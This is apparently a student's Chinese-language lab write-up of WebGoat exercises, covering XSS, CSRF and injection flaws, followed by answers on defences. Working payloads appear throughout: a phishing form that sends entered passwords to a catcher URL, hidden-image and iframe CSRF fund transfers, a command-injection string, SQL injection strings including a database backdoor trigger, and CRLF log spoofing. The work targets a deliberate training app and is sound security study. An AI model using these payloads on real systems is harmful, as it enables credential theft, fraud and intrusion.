20155232《网络对抗》Exp9 Web安全基础

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验过程

WebGoat

Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;

OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件。

  • WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:
java -jar webgoat-container-7.0.1-war-exec.jar

运行WebGoat:

  • WebGoat使用8080端口,所以在浏览器上访问

注意W G大写。

localhost:8080/WebGoat

进入WebGoat之后,可以看到有很多题目来让我们进行练习:

Cross-Site Scripting练习

Phishing with XSS

这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点

创建一个form,让受害人在创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

  • 攻击成功~~~。。。。。:

Stored XSS Attacks

  • 储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容

  • 在title里随便输入某些内容

  • 然后在message中输入一串代码,比如:

<script>alert(" you have been attacked by lsq !!");</script>

  • 当用户在论坛中点击刚刚创建的帖子后:

  • 成功进行了攻击:

Reflected XSS Attacks

  • 存储型XSS与反射型XSS有什么区别?

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

  • 这里练习的具体解释:

在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。

  • 当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:

  • 这时如果我们将带有攻击性的URL作为输入源,例如依旧输入

<script>alert(" you have been attacked by lsq !!!");</script>

,就会弹出对话框:

Cross Site Request Forgery(CSRF)

这里练习的目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。

  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

  • 我们在message框中输入这样一串代码

<img src='attack?Screen=277&menu=900&transferFunds=5000' width='1' height='1'>

注意这里面的Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。

  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查

  • 查看页面右边Parameters中的src和menu值。

  • 在message中添加代码:



<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 提交后生成一个链接,点击:

或者!

  • 在浏览器中手动输入URL
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=5000

进入确认转账请求页面:

  • 点击CONFIRM按钮之后,再在浏览器中输入URL:
localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM

成功转走了5000元:

Injection Flaws练习

SQL注入攻击对任何数据库驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这些风险,但互联网上令人难以置信的系统数量易受这种攻击形式的影响。

对所有输入数据进行清理,尤其是在OS命令、脚本和数据库查询中使用的数据,以某种其他方式阻止SQL注入的威胁,也是很好的做法。

Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上
"& netstat -an & ipconfig"

  • 之后在下拉菜单中能看到我们修改后的值:

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Numeric SQL Injection

  • 题目要求:

    下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。

    现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。

  • 加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:

  • 选中Columbia,点Go,出现:

Log Spoofing

  • 我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入
lsq%0d%0aLogin Succeeded for username: admin

其中%0d是回车,%0a是换行符:

  • 如图所示,攻击成功:

String SQL Injection

  • 这里和之前一样,基于select语句构造SQL注入字符串,在文本框中输入
' or 1=1 --

第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。

  • 点Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)

  • 以用户larry登录,在密码栏中输入
' or 1=1 --

进行SQL注入,但是登录失败:

  • 查看网页代码后发现这里设定的长度不够。然后进行修改:

  • 成功哈:

SQL Injection(Stage 3:Numeric SQL Injection)

  • 跟之前是一样的方法,然后点击ViewProfile可以浏览员工信息:

  • 使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为

101 or 1=1 order by salary desc --

这里desc是指工资按降序排序,这样老板的信息就会被排到第一个。

  • 之后就可以查看到老板的信息:

Database Backdoors

  • 先输一个101,得到了该用户的信息:

  • 输入注入语句:
101; update employee set salary=90000

成功把该用户的工资涨到了90000:

  • 然后使用语句
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155232@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效,我们可以先输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin数值是否大于10000

  • 后来确定在2000到2500之间,然后打开BurpSuite。

  • 设置:

  • 启动BurpSuite

  • 设置代理“Proxy”的“Options”选项

    默认是8080端口被占用时需要添加一个新的端口5232,点击add

  • 添加后勾选,如图所示

  • 设置浏览器的代理

  • 打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings

当于将burpsuite当成中间服务器,每个数据包都流过它。设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:

  • 在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加(在此之前点击clear清空所有的)



  • 在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1

  • 在Options中,选择Start attack开始攻击

在这里找到数据包大小变化的位置2364,用2364试一下:

在关闭了burpsuite之后,把浏览器的代理调回不使用代理,否则浏览器上不了网

实验后回答问题

(1)SQL注入攻击原理,如何防御

SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、使用SQL Server数据库自带的安全参数。

5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。

6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。

(2)XSS攻击的原理,如何防御

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器

执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列

表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。

1、在表单提交或者url参数传递前,对需要的参数进行过滤。

2、过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出

(3)CSRF攻击原理,如何防御

跨站请求伪造,盗用身份发送恶意请求。

1、验证 HTTP Referer 字段

2、在请求地址中添加 token 并验证

3、在 HTTP 头中自定义属性并验证

实验总结与体会

这次实验很有意思,题目中会结合一些实际的例子,进行攻击。也学习到了很多攻击类型,更加深入的了解很多。在使用BurpSuite捕获包进行源码修改的方法时,遇到了很多问题,这个软件都是英文版本,所以用起来真的很费劲,看了很多学长学姐的博客,才慢慢拼凑起来,慢慢学会使用。另一种方法直接使用Firebug修改网页源码,要更容易一些,但是可用范围就要小了一些了。

#20155232《网络对抗》Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...

  5. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  6. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  7. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

随机推荐

  1. R中的空间数据分析

    > library(sp) > library(maptools) > library(raster) > library(rgeos) > maxd3 = readAs ...

  2. cuda中当数组数大于线程数的处理方法

    参考stackoverflow一篇帖子的处理方法:https://stackoverflow.com/questions/26913683/different-way-to-index-threads ...

  3. PostMan请求不到接口问题

    在些接口的时候经常需要调试,调试的有很多选择,比如swagger.postman,我就是使用过两个都用:为了避免被swagger坑到就再去用postman试试确认看行不行,结果太小白了还是遇到了一些问 ...

  4. kafka入门2:java 创建及删除 topic

    1.pom <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.1 ...

  5. jquery插件导出excel和pdf(解决中文乱码问题)

    参考文件:http://jackyrong.iteye.com/blog/2169683 https://my.oschina.net/aruan/blog/418980 https://segmen ...

  6. Oracle EBS AR 冲销收款

    DECLARE L_CR_ID NUMBER; L_ATTRIBUTE_REC AR_RECEIPT_API_PUB.ATTRIBUTE_REC_TYPE; L_GLOBAL_ATT_REC AR_R ...

  7. Hsqldb中设置主键,并让主键自增

    CREATE TABLE userinfo ( Id INTEGER GENERATED BY DEFAULT AS IDENTITY, Name varchar(100) NOT NULL, Dep ...

  8. 分享一个基于小米 soar 的开源 sql 分析与优化的 WEB 图形化工具

    soar-web 基于小米 soar 的开源 sql 分析与优化的 WEB 图形化工具,支持 soar 配置的添加.修改.复制,多配置切换,配置的导出.导入与导入功能. 环境需求 python3.xF ...

  9. MySQL innodb中各种SQL语句加锁分析

    概要 Locking read( SELECT ... FOR UPDATE or SELECT ... LOCK IN SHARE MODE),UPDATE以及DELETE语句通常会在他扫描的索引所 ...

  10. C++类中的特殊成员函数-------复制构造函数

    在C++中存在一个特殊函数,他就是复制构造函数,假如我们有类A,如果有A a;A b=a;   在这种情况下利用A类变量a来给同是A类变量的b来赋值,这个时候类会使用复制构造函数,如果我们不显式声明复 ...